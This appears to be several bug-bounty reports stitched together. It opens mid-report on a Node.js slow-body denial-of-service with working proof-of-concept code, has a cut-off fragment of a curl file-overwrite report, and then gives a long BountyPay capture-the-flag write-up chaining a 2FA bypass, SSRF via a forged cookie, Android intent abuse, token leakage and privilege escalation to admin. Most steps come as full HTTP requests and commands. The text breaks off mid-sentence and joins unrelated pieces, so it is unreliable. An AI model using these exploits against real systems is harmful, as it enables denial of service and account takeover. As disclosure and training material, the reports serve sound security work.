(Optional) Wait a certain amount of time before sending the first request header.\n 2.2 Send all request headers with regular pausing.\n 2.3 (Optional) Wait a certain amount of time before sending the body data.\n 2.4. Send the request body with regular pausing.\n\nAll the substeps must be performed by sending periodically the smallest amount of data with the highest delay such that the server does not detect an idle socket. For Node 13.0.0 and above there is no idle timeout by default, so the attacker can wait an arbitrary time. For Node.js prior to 13.0.0, at least one byte each 2 minutes must be sent.\n\nWe have tested the following test cases:\n\n1. **Connection established, none or partial headers sent then sending is paused:** If `server.timeout` is not 0, then idle detection is triggered and closes the connection with no response. With the default timeout of 0 in Node.js 13.0.0 and above, the server is completely vulnerable to the attack.\n2. **Connection established, headers sent with long delays:** `server.headersTimeout` is triggered and closes the connection with no response. \n3. **Connection established, headers sent and sending is paused before starting the body:** If `server.timeout` is not 0, then idle detection is triggered and closes the connection with no response. With the default timeout of 0 in Node.js 13.0.0 and above, the server is completely vulnerable to the attack.\n4. **Connection established, headers sent, body sent with long delays:** `server.timeout` is not able to detect the attack and the server is completely vulnerable to the attack.\n\nWhat follows is a sample code which reproduces the problem. \n\n```javascript\nconst { createConnection } = require('net')\n\nlet start\nlet response = ''\nlet body = ''.padEnd(4096, '123')\n\nconst client = createConnection({ port: parseInt(process.argv[2], 10) }, () => {\n start = process.hrtime.bigint()\n\n // Send all the headers quickly so that server.headersTimeout is not triggered\n client.write('POST / HTTP/1.1\\r\\n')\n client.write('Content-Type: text/plain\\r\\n')\n client.write(`Content-Length: ${Buffer.byteLength(body)}\\r\\n`)\n client.write(`\\r\\n`)\n\n // Send the body very slower but in away that the server.timeout is not triggered\n let i = 0\n let interval = setInterval(() => {\n client.write(body[i])\n i++\n\n // Done sending, end the request\n if (i === body.length) {\n clearInterval(interval)\n client.write(`\\r\\n\\r\\n`)\n }\n }, 60000)\n})\n\nclient.on('data', data => {\n response += data\n client.end()\n})\n\nclient.on('close', () => {\n const duration = Number(process.hrtime.bigint() - start) / 1e9\n\n console.log(`Receive the following response (${response.length} bytes) in ${duration.toFixed(3)} s:\\n\\n`)\n console.log(response)\n})\n```\n\nOnce executed, the client will not receive a response before 4096 minutes. If multiple parallel execution of the code above targets the same server, it will result in service denial.\n\n### Impacto\nThis attack has very low complexity and can easily trigger a DDOS on an unprotected server."

The standard `Content-disposition` handling flow does not allow opening existing files: https://github.com/curl/curl/blob/master/src/tool_cb_wrt.c#L54, however by using `-OJi` it is possible to reach a flow that overrides a local file with the response headers, without verification: https://github.com/curl/curl/blob/master/src/tool_cb_hdr.c#L196\n\n### Passos para Reproduzir\n1.

I saw this:\n\n```\nPOST / HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 103\nOrigin: https://app.bountypay.h1ctf.com\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/\nUpgrade-Insecure-Requests: 1\n\nusername=brian.oliver&password=V7h0inzX&challenge=13d6718efc0a44576c8aad1a6f193521&challenge_answer=myAnswer\n```\n\nThe request got a **401 Unauthorized** response, which was expected. Bruteforce was not an option, because of the length of the password and the charset that was used. After playing around with the values, I noticed that the `challenge` ID was actually the md5 hash of the answer. Here is a request that will bypass the 2FA, I used the Hackvector Burp extension because it's convenient, but hashing the answer using any other tool works as well. \n\n```\nPOST / HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 87\nOrigin: https://app.bountypay.h1ctf.com\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/\nUpgrade-Insecure-Requests: 1\n\nusername=brian.oliver&password=V7h0inzX&challenge=<@md5_5>a<@/md5_5>&challenge_answer=a \n```\n\nThis request got a **302 Found** response with a cookie:\n\n```\nHTTP/1.1 302 Found\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 13:30:33 GMT\nContent-Type: text/html; charset=UTF-8\nConnection: close\nSet-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Thu, 01-Jul-2020 13:30:33 GMT; Max-Age=2592000\nLocation: /\nContent-Length: 0\n```\n\nUsing that cookie I was able to successfully log in as Brian Oliver and got access to the BountyPay dashboard:\n\n{F853777}\n\n\n# Bypassing the IP restriction on [https://software.bountypay.h1ctf.com/](https://software.bountypay.h1ctf.com/) using SSRF\n\nAfter I got access to the dashboard I started looking at the requests that were made. There was no pending transaction for that user. I tested the parameters for SQLi without success, but the response returned by the server still looked interesting.\n\nRequest:\n\n```\nGET /statements?month=01&year=2020 HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/\nCookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 14:13:03 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 177\n\n{\"url\":\"https:\\/\\/api.bountypay.h1ctf.com\\/api\\/accounts\\/F8gHiqSdpK\\/statements?month=01&year=2020\",\"data\":\"{\\\"description\\\":\\\"Transactions for 2020-01\\\",\\\"transactions\\\":[]}\"}\n```\n\nThe `url` returned in the response's JSON was interesting. It looks like the backend is calling an API, using some kind of account ID to construct the path. I tried to call that API directly but this resulted in a **401 Unauthorized**, telling me a token was missing. We'll come back to that later, but right now my only option was to leverage the call made by the server. What if I could control that ID? The user cookie starts with `ey` which is typical of base64 encoded JSON, maybe there is something interesting there. Here is the decoded cookie:\n\n```json\n{\"account_id\":\"F8gHiqSdpK\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}\n```\n\nThe `account_id` field in the decoded cookie matched the account ID used to construct the API URL, so I gave it a try an modified the `account_id` field. Here again, Hackvector is a really useful Burp extension and saves a lot of back and forth between the Repeater and the Decoder.\n\nRequest:\n\n```\nGET /statements?month=01&year=2019 HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/\nCookie: token=<@base64_1>{\"account_id\":\"F8gHiqSdpK#\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}<@/base64_1>\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 14:31:10 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 205\n\n{\"url\":\"https:\\/\\/api.bountypay.h1ctf.com\\/api\\/accounts\\/F8gHiqSdpK#\\/statements?month=11&year=2019\",\"data\":\"{\\\"account_id\\\":\\\"F8gHiqSdpK\\\",\\\"owner\\\":\\\"Mr Brian Oliver\\\",\\\"company\\\":\\\"BountyPay Demo \\\"}\"}\n```\n\nBingo, I had control over the request that was made to the API server side. Again, I tested the get parameters for SQLi, hoping I could maybe bypass some special characters filtering by talking directly to the API, but still no luck. I had to find how to leverage that SSRF vulnerability.\n\nI browsed the API home page at [https://api.bountypay.h1ctf.com/](https://api.bountypay.h1ctf.com/) and unfortunately there was no information about any documentation. However I noticed that one link on that page was using a redirect:\n\n{F853783}\n\nDuring the initial recon phase I discovered multiple subdomains. All of them were accessible, except one: [software.bountypay.h1ctf.com](http://software.bountypay.h1ctf.com):\n\n{F853790}\n\nThis server had an IP restriction in place, probably to restrict the access to internal traffic only, maybe I could get something from it using the SSRF I just found. Again, using Burp Repeater and Hackvector I tried to use the redirect to reach that server.\n\nRequest:\n\n```\nGET /statements?month=11&year=2019 HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/\nCookie: token=<@base64_1>{\"account_id\":\"../../../redirect?url=https://software.bountypay.h1ctf.com/#\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}<@/base64_1>\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 16:51:59 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 1609\n\n{\"url\":\"https:\\/\\/api.bountypay.h1ctf.com\\/api\\/accounts\\/..\\/..\\/..\\/redirect?url=https:\\/\\/software.bountypay.h1ctf.com\\/#\\/statements?month=11&year=2019\",\n\"data\":\"<!DOCTYPE html>\\n<html lang=\\\"en\\\">\\n<head>\\n <meta charset=\\\"utf-8\\\">\\n <meta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"IE=edge\\\">\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n <title>Software Storage<\\/title>\\n <link href=\\\"\\/css\\/bootstrap.min.css\\\" rel=\\\"stylesheet\\\">\\n<\\/head>\\n<body>\\n\\n<div class=\\\"container\\\">\\n <div class=\\\"row\\\">\\n <div class=\\\"col-sm-6 col-sm-offset-3\\\">\\n <h1 style=\\\"text-align: center\\\">Software Storage<\\/h1>\\n <form method=\\\"post\\\" action=\\\"\\/\\\">\\n <div class=\\\"panel panel-default\\\" style=\\\"margin-top:50px\\\">\\n <div class=\\\"panel-heading\\\">Login<\\/div>\\n <div class=\\\"panel-body\\\">\\n <div style=\\\"margin-top:7px\\\"><label>Username:<\\/label><\\/div>\\n <div><input name=\\\"username\\\" class=\\\"form-control\\\"><\\/div>\\n <div style=\\\"margin-top:7px\\\"><label>Password:<\\/label><\\/div>\\n <div><input name=\\\"password\\\" type=\\\"password\\\" class=\\\"form-control\\\"><\\/div>\\n <\\/div>\\n <\\/div>\\n <input type=\\\"submit\\\" class=\\\"btn btn-success pull-right\\\" value=\\\"Login\\\">\\n <\\/form>\\n <\\/div>\\n <\\/div>\\n<\\/div>\\n<script src=\\\"\\/js\\/jquery.min.js\\\"><\\/script>\\n<script src=\\\"\\/js\\/bootstrap.min.js\\\"><\\/script>\\n<\\/body>\\n<\\/html>\"}\n```\n\nIt worked! But this was not the end. The HTML that was returned by the response seems to contain a login form (POST) to access the **Software Storage** service. Since the backend server was performing GET requests, it was not possible to interact with this form. I had to find something else.\n\nI fired up Burp Intruder and started scanning for directories. Again Hackvector made the process a breeze:\n\n```\nGET /statements?month=11&year=2019 HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/\nCookie: token=<@base64_1>{\"account_id\":\"../../../redirect?url=https://software.bountypay.h1ctf.com/§§#\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}<@/base64_1>\n```\n\nAfter some time, I discovered the `uploads` folder that contained the **BountyPay.apk**:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 17:01:42 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 493\n\n{\"url\":\"https:\\/\\/api.bountypay.h1ctf.com\\/api\\/accounts\\/..\\/..\\/..\\/redirect?url=https:\\/\\/software.bountypay.h1ctf.com\\/uploads#\\/statements?month=11&year=2019\",\n\"data\":\"<html>\\n<head><title>Index of \\/uploads\\/<\\/title><\\/head>\\n<body bgcolor=\\\"white\\\">\\n<h1>Index of \\/uploads\\/<\\/h1><hr><pre><a href=\\\"..\\/\\\">..\\/<\\/a>\\n<a href=\\\"\\/uploads\\/BountyPay.apk\\\">BountyPay.apk<\\/a> 20-Apr-2020 11:26 4043701\\n<\\/pre><hr><\\/body>\\n<\\/html>\\n\"}\n```\n\nIt wasn't possible to download the APK using the SSRF. Fortunately, the full path to the APK, [https://software.bountypay.h1ctf.com/uploads/BountyPay.apk](https://software.bountypay.h1ctf.com/uploads/BountyPay.apk) was publicly accessible. I downloaded the Android app and started exploring it.\n\n\n# Getting the API token from the Android app\n\nOnce I downloaded the APK I converted it to a jar file using `dex2jar`\n\n```bash\n$ d2j-dex2jar BountyPay.apk \ndex2jar BountyPay.apk -> ./BountyPay-dex2jar.jar\n```\n\nI then opened the jar file with IntelliJ and stated looking at the code:\n\n{F853780}\n\nThe `bounty.pay` package contained some interesting classes. Those classes were also mentioned in the **AndroidManifest.xml** file, where they were configured to listen to some intents:\n\n```xml\n\t<activity android:label=\"@string/title_activity_part_three\" android:name=\"bounty.pay.PartThreeActivity\" android:theme=\"@style/AppTheme.NoActionBar\">\n <intent-filter android:label=\"\">\n <action android:name=\"android.intent.action.VIEW\"/>\n <category android:name=\"android.intent.category.DEFAULT\"/>\n <category android:name=\"android.intent.category.BROWSABLE\"/>\n <data android:host=\"part\" android:scheme=\"three\"/>\n </intent-filter>\n </activity>\n <activity android:label=\"@string/title_activity_part_two\" android:name=\"bounty.pay.PartTwoActivity\" android:theme=\"@style/AppTheme.NoActionBar\">\n <intent-filter android:label=\"\">\n <action android:name=\"android.intent.action.VIEW\"/>\n <category android:name=\"android.intent.category.DEFAULT\"/>\n <category android:name=\"android.intent.category.BROWSABLE\"/>\n <data android:host=\"part\" android:scheme=\"two\"/>\n </intent-filter>\n </activity>\n <activity android:label=\"@string/title_activity_part_one\" android:name=\"bounty.pay.PartOneActivity\" android:theme=\"@style/AppTheme.NoActionBar\">\n <intent-filter android:label=\"\">\n <action android:name=\"android.intent.action.VIEW\"/>\n <category android:name=\"android.intent.category.DEFAULT\"/>\n <category android:name=\"android.intent.category.BROWSABLE\"/>\n <data android:host=\"part\" android:scheme=\"one\"/>\n </intent-filter>\n </activity>\n <activity android:name=\"bounty.pay.MainActivity\">\n <intent-filter>\n <action android:name=\"android.intent.action.MAIN\"/>\n <category android:name=\"android.intent.category.LAUNCHER\"/>\n </intent-filter>\n </activity>\n```\n\nI installed the app on an Android device and started it. I was greeted with a form asking me for my username and twitter handle, once I created a username I landed on PartOneActivity:\n\n{F853784}\n\nThere was not much to interact with, but reading the code gave me a lot of information about what to do here:\n\n```java\nif (this.getIntent() != null && this.getIntent().getData() != null) {\n String var2 = this.getIntent().getData().getQueryParameter(\"start\");\n if (var2 != null && var2.equals(\"PartTwoActivity\") && var4.contains(\"USERNAME\")) {\n var2 = var4.getString(\"USERNAME\", \"\");\n Editor var3 = var4.edit();\n String var5 = var4.getString(\"TWITTERHANDLE\", \"\");\n var3.putString(\"PARTONE\", \"COMPLETE\").apply();\n this.logFlagFound(var2, var5);\n this.startActivity(new Intent(this, PartTwoActivity.class));\n }\n}\n```\n\nWhat did the code tell me? Well, there is not much to do on this activity, but if I invoke it with the right parameters, it will save my progress and start PartTwoActivity for me. Note that I tried to bypass the PartOneActivity completely by firing an intent for PartTwo, but that didn't work. I still have to log the fact we successfully went through PartOne.\n\nBased on the AndroidManifest file, I knew the intent URL to interact with PartOneActivity is `one://part` , and the code tells me it's expecting a `start=PartTwoActivity` parameter. I managed to reach PartTwoActivity using the following adb command:\n\n```bash\n$ adb shell am start -a android.intent.action.VIEW -d \"one://part?start=PartTwoActivity\"\n```\n\n{F853786}\n\nWhen I clicked on the BountyPay logo, the app showed a message telling me some information was currently hidden. By looking at the code I figured out how to make the information visible:\n\n```java\nif (this.getIntent() != null && this.getIntent().getData() != null) {\n Uri var5 = this.getIntent().getData();\n String var7 = var5.getQueryParameter(\"two\");\n String var8 = var5.getQueryParameter(\"switch\");\n if (var7 != null && var7.equals(\"light\") && var8 != null && var8.equals(\"on\")) {\n var2.setVisibility(0);\n var3.setVisibility(0);\n var6.setVisibility(0);\n }\n}\n```\n\nPassing the params `two=light&switch=on` should unhide the elements. That's what I did with adb:\n\n```bash\n$ adb shell am start -a android.intent.action.VIEW -d \"two://part?two=light\\&switch=on\"\n```\n\nThis started the activity again, but this time some new elements were visible:\n\n{F853787}\n\nIn the activity, the code that handles the submit event looks like this:\n\n```java\npublic void onDataChange(DataSnapshot var1) {\n String var2x = (String)var1.getValue();\n SharedPreferences var3 = PartTwoActivity.this.getSharedPreferences(\"user_created\", 0);\n Editor var6 = var3.edit();\n String var4 = var2;\n StringBuilder var5 = new StringBuilder();\n var5.append(\"X-\");\n var5.append(var2x);\n if (var4.equals(var5.toString())) {\n var2x = var3.getString(\"USERNAME\", \"\");\n String var7 = var3.getString(\"TWITTERHANDLE\", \"\");\n PartTwoActivity.this.logFlagFound(var2x, var7);\n var6.putString(\"PARTTWO\", \"COMPLETE\").apply();\n PartTwoActivity.this.correctHeader();\n } else {\n Toast.makeText(PartTwoActivity.this, \"Try again! :D\", 0).show();\n }\n\n}\n```\n\nThe code compares the input with a string that starts with `X-` followed by the content of `var2x.` unfortunately I couldn't find what the value of `var2x` was in this activity. Based on the content of PartThreeActivity, I guessed it was something like `X-Token: xxx`. I tried submitting the displayed hash, without success. After some time I realized I only needed the header name. I submitted `X-Token` and landed on PartThreeActivity.\n\n{F853788}\n\nHere again, some elements seemed to be hidden, the code that unhides the elements was similar to the one in PartTwo, but with a twist:\n\n```java\nif (this.getIntent() != null && this.getIntent().getData() != null) {\n Uri var5 = this.getIntent().getData();\n final String var10 = var5.getQueryParameter(\"three\");\n final String var9 = var5.getQueryParameter(\"switch\");\n final String var11 = var5.getQueryParameter(\"header\");\n byte[] var6 = Base64.decode(var10, 0);\n byte[] var7 = Base64.decode(var9, 0);\n final String var12 = new String(var6, StandardCharsets.UTF_8);\n final String var13 = new String(var7, StandardCharsets.UTF_8);\n this.childRefThree.addListenerForSingleValueEvent(new ValueEventListener() {\n public void onCancelled(DatabaseError var1) {\n Log.e(\"TAG\", \"onCancelled\", var1.toException());\n }\n\n public void onDataChange(DataSnapshot var1) {\n String var4 = (String)var1.getValue();\n if (var10 != null && var12.equals(\"PartThreeActivity\") && var9 != null && var13.equals(\"on\")) {\n String var2x = var11;\n if (var2x != null) {\n StringBuilder var3 = new StringBuilder();\n var3.append(\"X-\");\n var3.append(var4);\n if (var2x.equals(var3.toString())) {\n var8.setVisibility(0);\n var2.setVisibility(0);\n PartThreeActivity.this.thread.start();\n }\n }\n }\n\n }\n });\n}\n```\n\nSome parameters must be base64 encoded and a header value must be provided. The adb command looks like this:\n\n```bash\n$ adb shell am start -a android.intent.action.VIEW -d \"three://part?three=UGFydFRocmVlQWN0aXZpdHk%3D\\&switch=b24%3D\\&header=X-Token\"\n```\n\nThis revealed a form where I was asked to submit a leaked hash:\n\n \n\n{F853789}\n\nWhat leaked hash? I started looking around, double clicking on the BountyPay logo told me to check for leaks. I checked the logs using logcat and found this:\n\n```\nTOKEN IS: : 8e9998ee3137ca9ade8f372739f062c1\nHEADER VALUE AND HASH : X-Token: 8e9998ee3137ca9ade8f372739f062c1\n```\n\nI submitted the hash and voilà!\n\n{F853791}\n\nWhen I then clicked on the logo I saw a message that told me the information I got from the app might be useful, let's see.\n\n\n# Creating a staff account using the leaked API token and some social network intel\n\nRemember the **401 Unauthorized** response I got when I tried accessing the [https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/](https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/) endpoint directly? The error message mentioned a missing token. I tried again, but this time with the X-Token header:\n\n```\nGET /api/accounts/F8gHiqSdpK/ HTTP/1.1\nHost: api.bountypay.h1ctf.com\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\nConnection: close\nX-Token: 8e9998ee3137ca9ade8f372739f062c1\n```\n\nAnd I got some data back:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 20:20:27 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 81\n\n{\"account_id\":\"F8gHiqSdpK\",\"owner\":\"Mr Brian Oliver\",\"company\":\"BountyPay Demo \"}\n```\n\nKnowing the token was valid for this API, I started fuzzing again, using the token in the headers. I found an interesting endpoint: \n\n```\n# ffuf -u https://api.bountypay.h1ctf.com/api/FUZZ -w ~/lists/content_discovery_all.txt -ac -H 'X-Token: 8e9998ee3137ca9ade8f372739f062c1' \n \n /'___\\ /'___\\ /'___\\ \n /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \n \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \n \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \n \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \n \\/_/ \\/_/ \\/___/ \\/_/ \n \n v1.1.0-git \n________________________________________________ \n \n :: Method : GET \n :: URL : https://api.bountypay.h1ctf.com/api/FUZZ \n :: Header : X-Token: 8e9998ee3137ca9ade8f372739f062c1 \n :: Follow redirects : false \n :: Calibration : true \n :: Timeout : 10 \n :: Threads : 40 \n :: Matcher : Response status: 200,204,301,302,307,401,403 \n________________________________________________ \n \nstaff/ [Status: 200, Size: 104, Words: 3, Lines: 1]\nstaff [Status: 200, Size: 104, Words: 3, Lines: 1]\n:: Progress: [373535/373535] :: Job [1/1] :: 2146 req/sec :: Duration: [0:02:54] :: Errors: 4 ::\n```\n\nThis looked very interesting, a GET request to this endpoint gave me a list of staff members:\n\n```\n[{\"name\":\"Sam Jenkins\",\"staff_id\":\"STF:84DJKEIP38\"},{\"name\":\"Brian Oliver\",\"staff_id\":\"STF:KE624RQ2T9\"}]\n```\n\nI tried a POST request and got the following response back:\n\n```\nHTTP/1.1 400 Bad Request\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 20:41:43 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 21\n\n[\"Missing Parameter\"]\n```\n\nI played around a bit and after some time I found out the required parameter was `staff_id`. I tried passing an existing staff id, but it didn't work, I got an error saying the staff member already had an account. I also tried a random ID, no luck, it had to be a valid staff ID from a staff member that didn't had an account yet. That's where the social network intel was useful. Few weeks ago one of the new BountyPay employees posted a message on twitter, mentioning `@BountyPayHQ`:\n\n{F853796}\n\nThe badge on this picture contains a staff ID. I tried creating an account using it and it worked:\n\n```\nPOST /api/staff HTTP/1.1\nHost: api.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nX-Token: 8e9998ee3137ca9ade8f372739f062c1\nContent-Length: 23\nContent-Type: application/x-www-form-urlencoded\n\nstaff_id=STF:8FJ3KFISL3\n```\n\nResponse:\n\n```\nHTTP/1.1 201 Created\nServer: nginx/1.14.0 (Ubuntu)\nDate: Tue, 01 Jun 2020 20:53:53 GMT\nContent-Type: application/json\nConnection: close\nContent-Length: 110\n\n{\"description\":\"Staff Member Account Created\",\"username\":\"sandra.allison\",\"password\":\"s%3D8qB8zEpMnc*xsz7Yp5\"}\n```\n\nNow I have a staff account, it's time to use it!\n\n\n# Privilege escalation, from regular staff member to admin\n\nThe BountyPay home page has two login options: app and staff. I already covered the app part when I explained how I logged in as brian.oliver at the very beginning. After I created a staff account it was time to explore the staff portal. On the home page, I selected the login → staff option. I used sandra's username and password on the login form and I got access to the staff portal:\n\n{F853792}\n\nThe staff portal is composed of multiple tabs:\n\n- Home tab: Nothing there\n- Support Tickets tab: allows staff members to read support tickets sent to them. This tab contains an automated message sent by Admin, but there is no way to reply to it:\n\n{F853794}\n\n- Profile tab: This is where the staff member can update his avatar and profile name:\n\n{F853793}\n\nNothing really exciting so far, but the Javascript code was more interesting. Here is the content of the `website.js` file that is loaded by the portal:\n\n```jsx\n$('.upgradeToAdmin').click(function () {\n let t = $('input[name=\"username\"]').val();\n $.get('/admin/upgrade?username=' + t, function () {\n alert('User Upgraded to Admin')\n })\n}),\n$('.tab').click(function () {\n return $('.tab').removeClass('active'),\n $(this).addClass('active'),\n $('div.content').addClass('hidden'),\n $('div.content-' + $(this).attr('data-target')).removeClass('hidden'),\n !1\n}),\n$('.sendReport').click(function () {\n $.get('/admin/report?url=' + url, function () {\n alert('Report sent to admin team')\n }),\n $('#myModal').modal('hide')\n}),\ndocument.location.hash.length > 0 && ('#tab1' === document.location.hash && $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));\n```\n\nThis code discloses an interesting endpoint, `/admin/upgrade`, which can be used to promote a staff member to the Admin role by passing its username as GET parameter. I tried to make the admin call that URL using the `report` function, but it didn't work since admin pages are ignored, as explained in the modal dialog:\n\n{F853785}\n\nHow to send a report about a non admin page, but still trigger that call to upgrade? That's very tricky, but still possible using Javascript. On this portal, the JS code declares handlers for the `click` event on multiple classes:\n\n- The handler on the `tab` class, to switch between tabs\n- The handler on the `upgradeToAdmin` class, which might correspond to a button on the admin interface. When clicked it triggers the call to `/admin/upgrade`\n- The handler on the `sendReport` class, that is triggered when the Report Now button is clicked\n\nOn top of that, the JS code also looks at the `location.hash` variable, and automatically fires a click event on the tab that is passed as a hash value in the URL. For example, the URL [https://staff.bountypay.h1ctf.com/?template=home#tab2](https://staff.bountypay.h1ctf.com/?template=home#tab2) would load the portal and the JS code would then trigger a `click` event on the `tab2`, which will then fire the tab switching function. What if I could do the same but with `upgradeToAdmin` instead?\n\nUnfortunately I couldn't just pass `#upgradeToAdmin` to the URL, this wouldn't trigger anything since there is no JS code checking for that. The solution here is to find, or create an element that has both classes: `tabX` and `upgradeToAdmin`. \n\nThis can be done using the avatar selection feature from the profile tab. The avatar image is actually set using a class name, by intercepting the avatar change request and changing its value to `tab1%20upgradeToAdmin` I managed to create an element that has both classes:\n\n```\nPOST /?template=home HTTP/1.1\nHost: staff.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 56\nOrigin: https://staff.bountypay.h1ctf.com\nConnection: close\nReferer: https://staff.bountypay.h1ctf.com/?template=home\nCookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH\nUpgrade-Insecure-Requests: 1\nPragma: no-cache\nCache-Control: no-cache\n\nprofile_name=sandra&profile_avatar=tab1%20upgradeToAdmin\n```\n\n{F853776}\n\nAfter doing this, saw the call to the upgrade endpoint being fired when I opened this URL: [https://staff.bountypay.h1ctf.com/?template=home#tab1](https://staff.bountypay.h1ctf.com/?template=home#tab1)\n\n{F853778}\n\nThe username was still undefined, but I'll cover this part later. First I'd like to explain how this worked. By creating an element that has both classes, `tab1` and `upgradeToAdmin`, I created an element that was a valid target for the `$('.tab1')` selector which is used to trigger a `click` event when the `#tab1` hash is present, and since this `click` event was triggered on an element that also had the `upgradeToAdmin` class, it fired the handler for this class and called the `upgrade` endpoint.\n\nAt that point I managed to get a call to the upgrade endpoint, but the username was still undefined. The username value is extracted using the `$('input[name=\"username\"]')` selector. This element exists in the login template and it's possible to pre-fill the value using the `username` query parameter. Doing so I was able to bring the `username` input field in scope, but I lost the `website.js` file my element with my \"avatar\" class. I had to find a way to load both templates at the same time. After playing around with the `template` parameter, I managed to load both `home` and `login` templates using the PHP multi-values syntax: [https://staff.bountypay.h1ctf.com//?template[]=login&template[]=home&template[]=ticket&ticket_id=3582&username=sandra.allison#tab1](https://staff.bountypay.h1ctf.com//?template%5B%5D=login&template%5B%5D=home&template%5B%5D=ticket&ticket_id=3582&username=sandra.allison#tab1)\n\nNote that I had to also load the ticket template and load the ticket the Admin sent to sandra. This was necessary to bring sandra's \"avatar\" in scope and make the click event work:\n\n{F853779}\n\nThe final step was then to encode that URL in base64 and 